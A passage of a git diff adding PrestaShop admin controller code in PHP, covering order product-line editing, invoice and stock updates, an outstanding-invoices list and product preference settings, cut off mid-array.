'0000-00-00 00:00:00'; + $specific_price->add(); + } + + // Add product to cart + $update_quantity = $cart->updateQty($product_informations['product_quantity'], $product->id, isset($product_informations['product_attribute_id']) ? $product_informations['product_attribute_id'] : null, + isset($combination) ? $combination->id : null, 'up', 0, new Shop($cart->id_shop)); + + if ($update_quantity < 0) + { + // If product has attribute, minimal quantity is set with minimal quantity of attribute + $minimal_quantity = ($product_informations['product_attribute_id']) ? Attribute::getAttributeMinimalQty($product_informations['product_attribute_id']) : $product->minimal_quantity; + die(Tools::jsonEncode(array('error' => sprintf(Tools::displayError('You must add %d minimum quantity', false), $minimal_quantity)))); + } + elseif (!$update_quantity) + die(Tools::jsonEncode(array('error' => Tools::displayError('You already have the maximum quantity available for this product.', false)))); + + // If order is valid, we can create a new invoice or edit an existing invoice + if ($order->hasInvoice()) + { + $order_invoice = new OrderInvoice($product_informations['invoice']); + // Create new invoice + if ($order_invoice->id == 0) + { + // If we create a new invoice, we calculate shipping cost + $total_method = Cart::BOTH; + // Create Cart rule in order to make free shipping + if (isset($invoice_informations['free_shipping']) && $invoice_informations['free_shipping']) + { + $cart_rule = new CartRule(); + $cart_rule->id_customer = $order->id_customer; + $cart_rule->name = array( + Configuration::get('PS_LANG_DEFAULT') => $this->l('[Generated] CartRule for Free Shipping') + ); + $cart_rule->date_from = date('Y-m-d H:i:s', time()); + $cart_rule->date_to = date('Y-m-d H:i:s', time() + 24 * 3600); + $cart_rule->quantity = 1; + $cart_rule->quantity_per_user = 1; + $cart_rule->minimum_amount_currency = $order->id_currency; + $cart_rule->reduction_currency = $order->id_currency; + $cart_rule->free_shipping = true; + $cart_rule->active = 1; + $cart_rule->add(); + + // Add cart rule to cart and in order + $cart->addCartRule($cart_rule->id); + $values = array( + 'tax_incl' => $cart_rule->getContextualValue(true), + 'tax_excl' => $cart_rule->getContextualValue(false) + ); + $order->addCartRule($cart_rule->id, $cart_rule->name[Configuration::get('PS_LANG_DEFAULT')], $values); + } + + $order_invoice->id_order = $order->id; + if ($order_invoice->number) + Configuration::updateValue('PS_INVOICE_START_NUMBER', false, false, null, $order->id_shop); + else + $order_invoice->number = Order::getLastInvoiceNumber() + 1; + + $invoice_address = new Address((int)$order->{Configuration::get('PS_TAX_ADDRESS_TYPE', null, null, $order->id_shop)}); + $carrier = new Carrier((int)$order->id_carrier); + $tax_calculator = $carrier->getTaxCalculator($invoice_address); + + $order_invoice->total_paid_tax_excl = Tools::ps_round((float)$cart->getOrderTotal(false, $total_method), 2); + $order_invoice->total_paid_tax_incl = Tools::ps_round((float)$cart->getOrderTotal($use_taxes, $total_method), 2); + $order_invoice->total_products = (float)$cart->getOrderTotal(false, Cart::ONLY_PRODUCTS); + $order_invoice->total_products_wt = (float)$cart->getOrderTotal($use_taxes, Cart::ONLY_PRODUCTS); + $order_invoice->total_shipping_tax_excl = (float)$cart->getTotalShippingCost(null, false); + $order_invoice->total_shipping_tax_incl = (float)$cart->getTotalShippingCost(); + + $order_invoice->total_wrapping_tax_excl = abs($cart->getOrderTotal(false, Cart::ONLY_WRAPPING)); + $order_invoice->total_wrapping_tax_incl = abs($cart->getOrderTotal($use_taxes, Cart::ONLY_WRAPPING)); + $order_invoice->shipping_tax_computation_method = (int)$tax_calculator->computation_method; + + // Update current order field, only shipping because other field is updated later + $order->total_shipping += $order_invoice->total_shipping_tax_incl; + $order->total_shipping_tax_excl += $order_invoice->total_shipping_tax_excl; + $order->total_shipping_tax_incl += ($use_taxes) ? $order_invoice->total_shipping_tax_incl : $order_invoice->total_shipping_tax_excl; + + $order->total_wrapping += abs($cart->getOrderTotal($use_taxes, Cart::ONLY_WRAPPING)); + $order->total_wrapping_tax_excl += abs($cart->getOrderTotal(false, Cart::ONLY_WRAPPING)); + $order->total_wrapping_tax_incl += abs($cart->getOrderTotal($use_taxes, Cart::ONLY_WRAPPING)); + $order_invoice->add(); + + $order_invoice->saveCarrierTaxCalculator($tax_calculator->getTaxesAmount($order_invoice->total_shipping_tax_excl)); + + $order_carrier = new OrderCarrier(); + $order_carrier->id_order = (int)$order->id; + $order_carrier->id_carrier = (int)$order->id_carrier; + $order_carrier->id_order_invoice = (int)$order_invoice->id; + $order_carrier->weight = (float)$cart->getTotalWeight(); + $order_carrier->shipping_cost_tax_excl = (float)$order_invoice->total_shipping_tax_excl; + $order_carrier->shipping_cost_tax_incl = ($use_taxes) ? (float)$order_invoice->total_shipping_tax_incl : (float)$order_invoice->total_shipping_tax_excl; + $order_carrier->add(); + } + // Update current invoice + else + { + $order_invoice->total_paid_tax_excl += Tools::ps_round((float)($cart->getOrderTotal(false, $total_method)), 2); + $order_invoice->total_paid_tax_incl += Tools::ps_round((float)($cart->getOrderTotal($use_taxes, $total_method)), 2); + $order_invoice->total_products += (float)$cart->getOrderTotal(false, Cart::ONLY_PRODUCTS); + $order_invoice->total_products_wt += (float)$cart->getOrderTotal($use_taxes, Cart::ONLY_PRODUCTS); + $order_invoice->update(); + } + } + + // Create Order detail information + $order_detail = new OrderDetail(); + $order_detail->createList($order, $cart, $order->getCurrentOrderState(), $cart->getProducts(), (isset($order_invoice) ? $order_invoice->id : 0), $use_taxes, (int)Tools::getValue('add_product_warehouse')); + + // update totals amount of order + $order->total_products += (float)$cart->getOrderTotal(false, Cart::ONLY_PRODUCTS); + $order->total_products_wt += (float)$cart->getOrderTotal($use_taxes, Cart::ONLY_PRODUCTS); + + $order->total_paid += Tools::ps_round((float)($cart->getOrderTotal(true, $total_method)), 2); + $order->total_paid_tax_excl += Tools::ps_round((float)($cart->getOrderTotal(false, $total_method)), 2); + $order->total_paid_tax_incl += Tools::ps_round((float)($cart->getOrderTotal($use_taxes, $total_method)), 2); + + if (isset($order_invoice) && Validate::isLoadedObject($order_invoice)) + { + $order->total_shipping = $order_invoice->total_shipping_tax_incl; + $order->total_shipping_tax_incl = $order_invoice->total_shipping_tax_incl; + $order->total_shipping_tax_excl = $order_invoice->total_shipping_tax_excl; + } + // discount + $order->total_discounts += (float)abs($cart->getOrderTotal(true, Cart::ONLY_DISCOUNTS)); + $order->total_discounts_tax_excl += (float)abs($cart->getOrderTotal(false, Cart::ONLY_DISCOUNTS)); + $order->total_discounts_tax_incl += (float)abs($cart->getOrderTotal(true, Cart::ONLY_DISCOUNTS)); + + // Save changes of order + $order->update(); + + // Update Tax lines + $order_detail->updateTaxAmount($order); + + // Delete specific price if exists + if (isset($specific_price)) + $specific_price->delete(); + + $products = $this->getProducts($order); + + // Get the last product + $product = end($products); + $resume = OrderSlip::getProductSlipResume((int)$product['id_order_detail']); + $product['quantity_refundable'] = $product['product_quantity'] - $resume['product_quantity']; + $product['amount_refundable'] = $product['total_price_tax_incl'] - $resume['amount_tax_incl']; + $product['amount_refund'] = Tools::displayPrice($resume['amount_tax_incl']); + $product['return_history'] = OrderReturn::getProductReturnDetail((int)$product['id_order_detail']); + $product['refund_history'] = OrderSlip::getProductSlipDetail((int)$product['id_order_detail']); + + // Get invoices collection + $invoice_collection = $order->getInvoicesCollection(); + + $invoice_array = array(); + foreach ($invoice_collection as $invoice) + { + $invoice->name = $invoice->getInvoiceNumberFormatted(Context::getContext()->language->id, (int)$order->id_shop); + $invoice_array[] = $invoice; + } + + // Assign to smarty informations in order to show the new product line + $this->context->smarty->assign(array( + 'product' => $product, + 'order' => $order, + 'currency' => new Currency($order->id_currency), + 'can_edit' => $this->tabAccess['edit'], + 'invoices_collection' => $invoice_collection, + 'current_id_lang' => Context::getContext()->language->id, + 'link' => Context::getContext()->link, + 'current_index' => self::$currentIndex + )); + + $this->sendChangedNotification($order); + + die(Tools::jsonEncode(array( + 'result' => true, + 'view' => $this->createTemplate('_product_line.tpl')->fetch(), + 'can_edit' => $this->tabAccess['add'], + 'order' => $order, + 'invoices' => $invoice_array, + 'documents_html' => $this->createTemplate('_documents.tpl')->fetch(), + 'shipping_html' => $this->createTemplate('_shipping.tpl')->fetch(), + 'discount_form_html' => $this->createTemplate('_discount_form.tpl')->fetch() + ))); + } + + public function sendChangedNotification(Order $order = null) + { + if (is_null($order)) + $order = new Order(Tools::getValue('id_order')); + + $data = array( + '{lastname}' => $order->getCustomer()->lastname, + '{firstname}' => $order->getCustomer()->firstname, + '{id_order}' => (int)$order->id, + '{order_name}' => $order->getUniqReference() + ); + + Mail::Send( + (int)$order->id_lang, + 'order_changed', + Mail::l('Your order has been changed', $order->id_lang), + $data, + $order->getCustomer()->email, + $order->getCustomer()->firstname.' '.$order->getCustomer()->lastname, + null, null, null, null, _PS_MAIL_DIR_, true, (int)$order->id_shop); + } + + public function ajaxProcessLoadProductInformation() + { + $order_detail = new OrderDetail(Tools::getValue('id_order_detail')); + if (!Validate::isLoadedObject($order_detail)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The OrderDetail object cannot be loaded.') + ))); + + $product = new Product($order_detail->product_id); + if (!Validate::isLoadedObject($product)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The product object cannot be loaded.') + ))); + + $address = new Address(Tools::getValue('id_address')); + if (!Validate::isLoadedObject($address)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The address object cannot be loaded.') + ))); + + die(Tools::jsonEncode(array( + 'result' => true, + 'product' => $product, + 'tax_rate' => $product->getTaxesRate($address), + 'price_tax_incl' => Product::getPriceStatic($product->id, true, $order_detail->product_attribute_id, 2), + 'price_tax_excl' => Product::getPriceStatic($product->id, false, $order_detail->product_attribute_id, 2) + ))); + } + + public function ajaxProcessEditProductOnOrder() + { + // Return value + $res = true; + + $order = new Order((int)Tools::getValue('id_order')); + $order_detail = new OrderDetail((int)Tools::getValue('product_id_order_detail')); + if (Tools::isSubmit('product_invoice')) + $order_invoice = new OrderInvoice((int)Tools::getValue('product_invoice')); + + // Check fields validity + $this->doEditProductValidation($order_detail, $order, isset($order_invoice) ? $order_invoice : null); + + // If multiple product_quantity, the order details concern a product customized + $product_quantity = 0; + if (is_array(Tools::getValue('product_quantity'))) + foreach (Tools::getValue('product_quantity') as $id_customization => $qty) + { + // Update quantity of each customization + Db::getInstance()->update('customization', array('quantity' => $qty), 'id_customization = '.(int)$id_customization); + // Calculate the real quantity of the product + $product_quantity += $qty; + } + else + $product_quantity = Tools::getValue('product_quantity'); + + $product_price_tax_incl = Tools::ps_round(Tools::getValue('product_price_tax_incl'), 2); + $product_price_tax_excl = Tools::ps_round(Tools::getValue('product_price_tax_excl'), 2); + $total_products_tax_incl = $product_price_tax_incl * $product_quantity; + $total_products_tax_excl = $product_price_tax_excl * $product_quantity; + + // Calculate differences of price (Before / After) + $diff_price_tax_incl = $total_products_tax_incl - $order_detail->total_price_tax_incl; + $diff_price_tax_excl = $total_products_tax_excl - $order_detail->total_price_tax_excl; + + // Apply change on OrderInvoice + if (isset($order_invoice)) + // If OrderInvoice to use is different, we update the old invoice and new invoice + if ($order_detail->id_order_invoice != $order_invoice->id) + { + $old_order_invoice = new OrderInvoice($order_detail->id_order_invoice); + // We remove cost of products + $old_order_invoice->total_products -= $order_detail->total_price_tax_excl; + $old_order_invoice->total_products_wt -= $order_detail->total_price_tax_incl; + + $old_order_invoice->total_paid_tax_excl -= $order_detail->total_price_tax_excl; + $old_order_invoice->total_paid_tax_incl -= $order_detail->total_price_tax_incl; + + $res &= $old_order_invoice->update(); + + $order_invoice->total_products += $order_detail->total_price_tax_excl; + $order_invoice->total_products_wt += $order_detail->total_price_tax_incl; + + $order_invoice->total_paid_tax_excl += $order_detail->total_price_tax_excl; + $order_invoice->total_paid_tax_incl += $order_detail->total_price_tax_incl; + + $order_detail->id_order_invoice = $order_invoice->id; + } + + if ($diff_price_tax_incl != 0 && $diff_price_tax_excl != 0) + { + $order_detail->unit_price_tax_excl = $product_price_tax_excl; + $order_detail->unit_price_tax_incl = $product_price_tax_incl; + + $order_detail->total_price_tax_incl += $diff_price_tax_incl; + $order_detail->total_price_tax_excl += $diff_price_tax_excl; + + if (isset($order_invoice)) + { + // Apply changes on OrderInvoice + $order_invoice->total_products += $diff_price_tax_excl; + $order_invoice->total_products_wt += $diff_price_tax_incl; + + $order_invoice->total_paid_tax_excl += $diff_price_tax_excl; + $order_invoice->total_paid_tax_incl += $diff_price_tax_incl; + } + + // Apply changes on Order + $order = new Order($order_detail->id_order); + $order->total_products += $diff_price_tax_excl; + $order->total_products_wt += $diff_price_tax_incl; + + $order->total_paid += $diff_price_tax_incl; + $order->total_paid_tax_excl += $diff_price_tax_excl; + $order->total_paid_tax_incl += $diff_price_tax_incl; + + $res &= $order->update(); + } + + $old_quantity = $order_detail->product_quantity; + + $order_detail->product_quantity = $product_quantity; + + // update taxes + $res &= $order_detail->updateTaxAmount($order); + + // Save order detail + $res &= $order_detail->update(); + // Save order invoice + if (isset($order_invoice)) + $res &= $order_invoice->update(); + + // Update product available quantity + StockAvailable::updateQuantity($order_detail->product_id, $order_detail->product_attribute_id, ($old_quantity - $order_detail->product_quantity), $order->id_shop); + + $products = $this->getProducts($order); + // Get the last product + $product = $products[$order_detail->id]; + $resume = OrderSlip::getProductSlipResume($order_detail->id); + $product['quantity_refundable'] = $product['product_quantity'] - $resume['product_quantity']; + $product['amount_refundable'] = $product['total_price_tax_incl'] - $resume['amount_tax_incl']; + $product['amount_refund'] = Tools::displayPrice($resume['amount_tax_incl']); + $product['refund_history'] = OrderSlip::getProductSlipDetail($order_detail->id); + // Get invoices collection + $invoice_collection = $order->getInvoicesCollection(); + + $invoice_array = array(); + foreach ($invoice_collection as $invoice) + { + $invoice->name = $invoice->getInvoiceNumberFormatted(Context::getContext()->language->id, (int)$order->id_shop); + $invoice_array[] = $invoice; + } + + // Assign to smarty informations in order to show the new product line + $this->context->smarty->assign(array( + 'product' => $product, + 'order' => $order, + 'currency' => new Currency($order->id_currency), + 'can_edit' => $this->tabAccess['edit'], + 'invoices_collection' => $invoice_collection, + 'current_id_lang' => Context::getContext()->language->id, + 'link' => Context::getContext()->link, + 'current_index' => self::$currentIndex + )); + + if (!$res) + die(Tools::jsonEncode(array( + 'result' => $res, + 'error' => Tools::displayError('An error occurred while editing the product line.') + ))); + + + if (is_array(Tools::getValue('product_quantity'))) + $view = $this->createTemplate('_customized_data.tpl')->fetch(); + else + $view = $this->createTemplate('_product_line.tpl')->fetch(); + + $this->sendChangedNotification($order); + + die(Tools::jsonEncode(array( + 'result' => $res, + 'view' => $view, + 'can_edit' => $this->tabAccess['add'], + 'invoices_collection' => $invoice_collection, + 'order' => $order, + 'invoices' => $invoice_array, + 'documents_html' => $this->createTemplate('_documents.tpl')->fetch(), + 'shipping_html' => $this->createTemplate('_shipping.tpl')->fetch(), + 'customized_product' => is_array(Tools::getValue('product_quantity')) + ))); + } + + public function ajaxProcessDeleteProductLine() + { + $res = true; + + $order_detail = new OrderDetail(Tools::getValue('id_order_detail')); + $order = new Order(Tools::getValue('id_order')); + + $this->doDeleteProductLineValidation($order_detail, $order); + + // Update OrderInvoice of this OrderDetail + if ($order_detail->id_order_invoice != 0) + { + $order_invoice = new OrderInvoice($order_detail->id_order_invoice); + $order_invoice->total_paid_tax_excl -= $order_detail->total_price_tax_excl; + $order_invoice->total_paid_tax_incl -= $order_detail->total_price_tax_incl; + $order_invoice->total_products -= $order_detail->total_price_tax_excl; + $order_invoice->total_products_wt -= $order_detail->total_price_tax_incl; + $res &= $order_invoice->update(); + } + + // Update Order + $order->total_paid -= $order_detail->total_price_tax_incl; + $order->total_paid_tax_incl -= $order_detail->total_price_tax_incl; + $order->total_paid_tax_excl -= $order_detail->total_price_tax_excl; + $order->total_products -= $order_detail->total_price_tax_excl; + $order->total_products_wt -= $order_detail->total_price_tax_incl; + + $res &= $order->update(); + + // Delete OrderDetail + $res &= $order_detail->delete(); + + if (!$res) + die(Tools::jsonEncode(array( + 'result' => $res, + 'error' => Tools::displayError('An error occurred while attempting to delete the product line.') + ))); + + // Get invoices collection + $invoice_collection = $order->getInvoicesCollection(); + + $invoice_array = array(); + foreach ($invoice_collection as $invoice) + { + $invoice->name = $invoice->getInvoiceNumberFormatted(Context::getContext()->language->id, (int)$order->id_shop); + $invoice_array[] = $invoice; + } + + // Assign to smarty informations in order to show the new product line + $this->context->smarty->assign(array( + 'order' => $order, + 'currency' => new Currency($order->id_currency), + 'invoices_collection' => $invoice_collection, + 'current_id_lang' => Context::getContext()->language->id, + 'link' => Context::getContext()->link, + 'current_index' => self::$currentIndex + )); + + $this->sendChangedNotification($order); + + die(Tools::jsonEncode(array( + 'result' => $res, + 'order' => $order, + 'invoices' => $invoice_array, + 'documents_html' => $this->createTemplate('_documents.tpl')->fetch(), + 'shipping_html' => $this->createTemplate('_shipping.tpl')->fetch() + ))); + } + + protected function doEditProductValidation(OrderDetail $order_detail, Order $order, OrderInvoice $order_invoice = null) + { + if (!Validate::isLoadedObject($order_detail)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The Order Detail object could not be loaded.') + ))); + + if (!empty($order_invoice) && !Validate::isLoadedObject($order_invoice)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The invoice object cannot be loaded.') + ))); + + if (!Validate::isLoadedObject($order)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The order object cannot be loaded.') + ))); + + if ($order_detail->id_order != $order->id) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('You cannot edit the order detail for this order.') + ))); + + // We can't edit a delivered order + if ($order->hasBeenDelivered()) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('You cannot edit a delivered order.') + ))); + + if (!empty($order_invoice) && $order_invoice->id_order != Tools::getValue('id_order')) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('You cannot use this invoice for the order') + ))); + + // Clean price + $product_price_tax_incl = str_replace(',', '.', Tools::getValue('product_price_tax_incl')); + $product_price_tax_excl = str_replace(',', '.', Tools::getValue('product_price_tax_excl')); + + if (!Validate::isPrice($product_price_tax_incl) || !Validate::isPrice($product_price_tax_excl)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('Invalid price') + ))); + + if (!is_array(Tools::getValue('product_quantity')) && !Validate::isUnsignedInt(Tools::getValue('product_quantity'))) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('Invalid quantity') + ))); + elseif (is_array(Tools::getValue('product_quantity'))) + foreach (Tools::getValue('product_quantity') as $qty) + if (!Validate::isUnsignedInt($qty)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('Invalid quantity') + ))); + } + + protected function doDeleteProductLineValidation(OrderDetail $order_detail, Order $order) + { + if (!Validate::isLoadedObject($order_detail)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The Order Detail object could not be loaded.') + ))); + + if (!Validate::isLoadedObject($order)) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('The order object cannot be loaded.') + ))); + + if ($order_detail->id_order != $order->id) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('You cannot delete the order detail.') + ))); + + // We can't edit a delivered order + if ($order->hasBeenDelivered()) + die(Tools::jsonEncode(array( + 'result' => false, + 'error' => Tools::displayError('You cannot edit a delivered order.') + ))); + } + + protected function getProducts($order) + { + $products = $order->getProducts(); + + foreach ($products as &$product) + { + if ($product['image'] != null) + { + $name = 'product_mini_'.(int)$product['product_id'].(isset($product['product_attribute_id']) ? '_'.(int)$product['product_attribute_id'] : '').'.jpg'; + // generate image cache, only for back office + $product['image_tag'] = ImageManager::thumbnail(_PS_IMG_DIR_.'p/'.$product['image']->getExistingImgPath().'.jpg', $name, 45, 'jpg'); + if (file_exists(_PS_TMP_IMG_DIR_.$name)) + $product['image_size'] = getimagesize(_PS_TMP_IMG_DIR_.$name); + else + $product['image_size'] = false; + } + } + + return $products; + } + + protected function reinjectQuantity($order_detail, $qty_cancel_product) + { + // Reinject product + $reinjectable_quantity = (int)$order_detail->product_quantity - (int)$order_detail->product_quantity_reinjected; + $quantity_to_reinject = $qty_cancel_product > $reinjectable_quantity ? $reinjectable_quantity : $qty_cancel_product; + // @since 1.5.0 : Advanced Stock Management + $product_to_inject = new Product($order_detail->product_id, false, (int)$this->context->language->id, (int)$order_detail->id_shop); + + $product = new Product($order_detail->product_id, false, (int)$this->context->language->id, (int)$order_detail->id_shop); + + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && $product->advanced_stock_management && $order_detail->id_warehouse != 0) + { + $manager = StockManagerFactory::getManager(); + $movements = StockMvt::getNegativeStockMvts( + $order_detail->id_order, + $order_detail->product_id, + $order_detail->product_attribute_id, + $quantity_to_reinject + ); + $left_to_reinject = $quantity_to_reinject; + foreach ($movements as $movement) + { + if ($left_to_reinject > $movement['physical_quantity']) + $quantity_to_reinject = $movement['physical_quantity']; + + $left_to_reinject -= $quantity_to_reinject; + + $manager->addProduct( + $order_detail->product_id, + $order_detail->product_attribute_id, + new Warehouse($movement['id_warehouse']), + $quantity_to_reinject, + null, + $movement['price_te'], + true + ); + } + StockAvailable::synchronize($order_detail->product_id); + } + elseif ($order_detail->id_warehouse == 0) + { + StockAvailable::updateQuantity( + $order_detail->product_id, + $order_detail->product_attribute_id, + $quantity_to_reinject, + $order_detail->id_shop + ); + } + else + $this->errors[] = Tools::displayError('This product cannot be re-stocked.'); + } + + protected function applyDiscountOnInvoice($order_invoice, $value_tax_incl, $value_tax_excl) + { + // Update OrderInvoice + $order_invoice->total_discount_tax_incl += $value_tax_incl; + $order_invoice->total_discount_tax_excl += $value_tax_excl; + $order_invoice->total_paid_tax_incl -= $value_tax_incl; + $order_invoice->total_paid_tax_excl -= $value_tax_excl; + $order_invoice->update(); + } +} + diff --git a/controllers/admin/AdminOutstandingController.php b/controllers/admin/AdminOutstandingController.php new file mode 100755 index 0000000..357b824 --- /dev/null +++ b/controllers/admin/AdminOutstandingController.php @@ -0,0 +1,173 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminOutstandingControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'order_invoice'; + $this->className = 'OrderInvoice'; + $this->addRowAction('view'); + + $this->context = Context::getContext(); + + $this->_select = '`id_order_invoice` AS `id_invoice`, + `id_order_invoice` AS `outstanding`, + CONCAT(LEFT(c.`firstname`, 1), \'. \', c.`lastname`) AS `customer`, + c.`outstanding_allow_amount`, + r.`color`, + rl.`name` AS `risk`'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.`id_order` = a.`id_order`) + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (c.`id_customer` = o.`id_customer`) + LEFT JOIN `'._DB_PREFIX_.'risk` r ON (r.`id_risk` = c.`id_risk`) + LEFT JOIN `'._DB_PREFIX_.'risk_lang` rl ON (r.`id_risk` = rl.`id_risk` AND rl.`id_lang` = '.(int)$this->context->language->id.')'; + + $risks = array(); + foreach (Risk::getRisks() as $risk) + $risks[$risk->id] = $risk->name; + + $this->fields_list = array( + 'number' => array( + 'title' => $this->l('Invoice Number'), + 'align' => 'center', + 'width' => 20 + ), + 'date_add' => array( + 'title' => $this->l('Date'), + 'width' => 150, + 'type' => 'date', + 'align' => 'right', + 'filter_key' => 'a!date_add' + ), + 'customer' => array( + 'title' => $this->l('Customer'), + 'filter_key' => 'customer', + 'tmpTableFilter' => true + ), + 'company' => array( + 'title' => $this->l('Company'), + 'align' => 'center', + 'width' => 20 + ), + 'risk' => array( + 'title' => $this->l('Risk'), + 'align' => 'center', + 'width' => 100, + 'orderby' => false, + 'type' => 'select', + 'color' => 'color', + 'list' => $risks, + 'filter_key' => 'r!id_risk', + 'filter_type' => 'int' + ), + 'outstanding_allow_amount' => array( + 'title' => $this->l('Outstanding Allow'), + 'align' => 'center', + 'width' => 50, + 'prefix' => '<b>', + 'suffix' => '</b>', + 'type' => 'price' + ), + 'outstanding' => array( + 'title' => $this->l('Current Outstanding'), + 'align' => 'center', + 'width' => 50, + 'callback' => 'printOutstandingCalculation', + 'orderby' => false, + 'search' => false + ), + 'id_invoice' => array( + 'title' => $this->l('PDF'), + 'width' => 35, + 'align' => 'center', + 'callback' => 'printPDFIcons', + 'orderby' => false, + 'search' => false + ) + ); + + parent::__construct(); + } + + /** + * Toolbar initialisation + * @return bool Force true (Hide New button) + */ + public function initToolbar() + { + return true; + } + + /** + * Column callback for print PDF incon + * @param $id_invoice integer Invoice ID + * @param $tr array Row data + * @return string HTML content + */ + public function printPDFIcons($id_invoice, $tr) + { + $this->context->smarty->assign(array( + 'id_invoice' => $id_invoice + )); + + return $this->createTemplate('_print_pdf_icon.tpl')->fetch(); + } + + public function printOutstandingCalculation($id_invoice, $tr) + { + $order_invoice = new OrderInvoice($id_invoice); + if (!Validate::isLoadedObject($order_invoice)) + throw new PrestaShopException('object OrderInvoice can\'t be loaded'); + $order = new Order($order_invoice->id_order); + if (!Validate::isLoadedObject($order)) + throw new PrestaShopException('object Order can\'t be loaded'); + $customer = new Customer((int)$order->id_customer); + if (!Validate::isLoadedObject($order_invoice)) + throw new PrestaShopException('object Customer can\'t be loaded'); + + return '<b>'.$customer->getOutstanding().'</b>'; + } + + /** + * View render + * @throws PrestaShopException Invalid objects + */ + public function renderView() + { + $order_invoice = new OrderInvoice((int)Tools::getValue('id_order_invoice')); + if (!Validate::isLoadedObject($order_invoice)) + throw new PrestaShopException('object OrderInvoice can\'t be loaded'); + $order = new Order($order_invoice->id_order); + if (!Validate::isLoadedObject($order)) + throw new PrestaShopException('object Order can\'t be loaded'); + + $link = $this->context->link->getAdminLink('AdminOrders'); + $link .= '&vieworder&id_order='.$order->id; + $this->redirect_after = $link; + $this->redirect(); + } +} + diff --git a/controllers/admin/AdminPPreferencesController.php b/controllers/admin/AdminPPreferencesController.php new file mode 100755 index 0000000..c3cb9a3 --- /dev/null +++ b/controllers/admin/AdminPPreferencesController.php @@ -0,0 +1,245 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminPPreferencesControllerCore extends AdminController +{ + public function __construct() + { + $this->className = 'Configuration'; + $this->table = 'configuration'; + + parent::__construct(); + + $this->fields_options = array( + 'products' => array( + 'title' => $this->l('Products (general)'), + 'fields' => array( + 'PS_CATALOG_MODE' => array( + 'title' => $this->l('Catalog mode'), + 'desc' => $this->l('When active, all shopping features will be disabled.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'required' => false, + 'type' => 'bool' + ), + 'PS_COMPARATOR_MAX_ITEM' => array( + 'title' => $this->l('Product comparison'), + 'desc' => $this->l('Set the maximum number of products that can be selected for comparison.').' '.$this->l('Set to "0" to disable this feature.'), + 'validation' => 'isUnsignedId', + 'required' => true, + 'cast' => 'intval', + 'type' => 'text' + ), + 'PS_NB_DAYS_NEW_PRODUCT' => array( + 'title' => $this->l('Number of days for which the product is considered \'new\''), + 'validation' => 'isUnsignedInt', + 'cast' => 'intval', + 'type' => 'text' + ), + 'PS_CART_REDIRECT' => array( + 'title' => $this->l('Redirect after adding product to cart'), + 'desc' => $this->l('Only for non-AJAX versions of the cart.'), + 'cast' => 'intval', + 'show' => true, + 'required' => false, + 'type' => 'radio', + 'validation' => 'isBool', + 'choices' => array( + 0 => $this->l('Previous page'), + 1 => $this->l('Cart summary') + ) + ), + 'PS_PRODUCT_SHORT_DESC_LIMIT' => array( + 'title' => $this->l('Max size of short description'), + 'desc' => $this->l('Set the maximum size of product short description (in characters).'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'text', + 'suffix' => $this->l('characters'), + ), + 'PS_QTY_DISCOUNT_ON_COMBINATION' => array( + 'title' => $this->l('Quantity discounts based on'), + 'desc' => $this->l('How to calculate quantity discounts'), + 'cast' => 'intval', + 'show' => true, + 'required' => false, + 'type' => 'radio', + 'validation' => 'isBool', + 'choices' => array( + 0 => $this->l('Products:'), + 1 => $this->l('Combinations') + ) + ) + ), + ), + 'order_by_pagination' => array( + 'title' => $this->l('Pagination'), + 'fields' => array( + 'PS_PRODUCTS_PER_PAGE' => array( + 'title' => $this->l('Products per page'), + 'desc' => $this->l('Number of products displayed per page. Default is 10.'), + 'validation' => 'isUnsignedInt', + 'cast' => 'intval', + 'type' => 'text' + ), + 'PS_PRODUCTS_ORDER_BY' => array( + 'title' => $this->l('Default order by'), + 'desc' 